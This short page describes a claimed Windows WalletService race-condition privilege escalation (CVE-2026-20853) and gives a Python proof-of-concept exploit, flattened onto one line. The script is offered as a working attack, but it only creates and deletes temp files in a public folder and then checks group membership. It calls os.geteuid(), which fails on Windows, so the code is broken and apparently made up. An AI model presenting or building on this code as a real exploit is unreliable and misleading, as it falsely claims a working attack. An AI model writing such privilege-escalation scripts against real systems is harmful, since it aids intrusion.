CVE-2026-20853 Windows WalletService竞态条件本地权限提升漏洞

# CVE-2026-20853 PoC - Windows WalletService Race Condition # This PoC demonstrates the race condition in WalletService # Note: This is for educational purposes only import os import sys import threading import time import subprocess def trigger_race_condition(): """ Attempt to trigger race condition in WalletService by creating concurrent access patterns """ print("[*] Initiating race condition attack against WalletService...") # Step 1: Identify WalletService process try: result = subprocess.run( ['tasklist'], capture_output=True, text=True ) if 'WalletService' in result.stdout: print("[+] WalletService process found") else: print("[-] WalletService not running") return False except Exception as e: print(f"[-] Error identifying service: {e}") return False # Step 2: Create concurrent threads to trigger race condition threads = [] for i in range(10): t = threading.Thread(target=concurrent_operation, args=(i,)) threads.append(t) t.start() # Step 3: Wait for threads and check result for t in threads: t.join() print("[*] Race condition attempt completed") return True def concurrent_operation(thread_id): """ Perform concurrent operations to trigger race condition """ try: # Create rapid file system operations temp_path = f"C:\\Users\\Public\\Documents\\wallet_temp_{thread_id}.dat" # Rapid create/delete operations for _ in range(50): try: with open(temp_path, 'w') as f: f.write('malicious_data') os.remove(temp_path) except: pass time.sleep(0.001) # Minimal delay to increase race probability except Exception as e: print(f"Thread {thread_id} error: {e}") def check_privilege_escalation(): """ Check if privilege escalation was successful """ try: result = subprocess.run( ['whoami', '/groups'], capture_output=True, text=True ) if 'BUILTIN\\Administrators' in result.stdout or 'NT AUTHORITY\\SYSTEM' in result.stdout: print("[+] Elevated privileges detected!") return True else: print("[-] No privilege escalation detected") return False except Exception as e: print(f"[-] Error checking privileges: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-20853 PoC - WalletService Race Condition") print("=" * 60) if os.geteuid() != 0: print("[*] Note: This exploit requires local access") trigger_race_condition() check_privilege_escalation() print("[*] Analysis complete")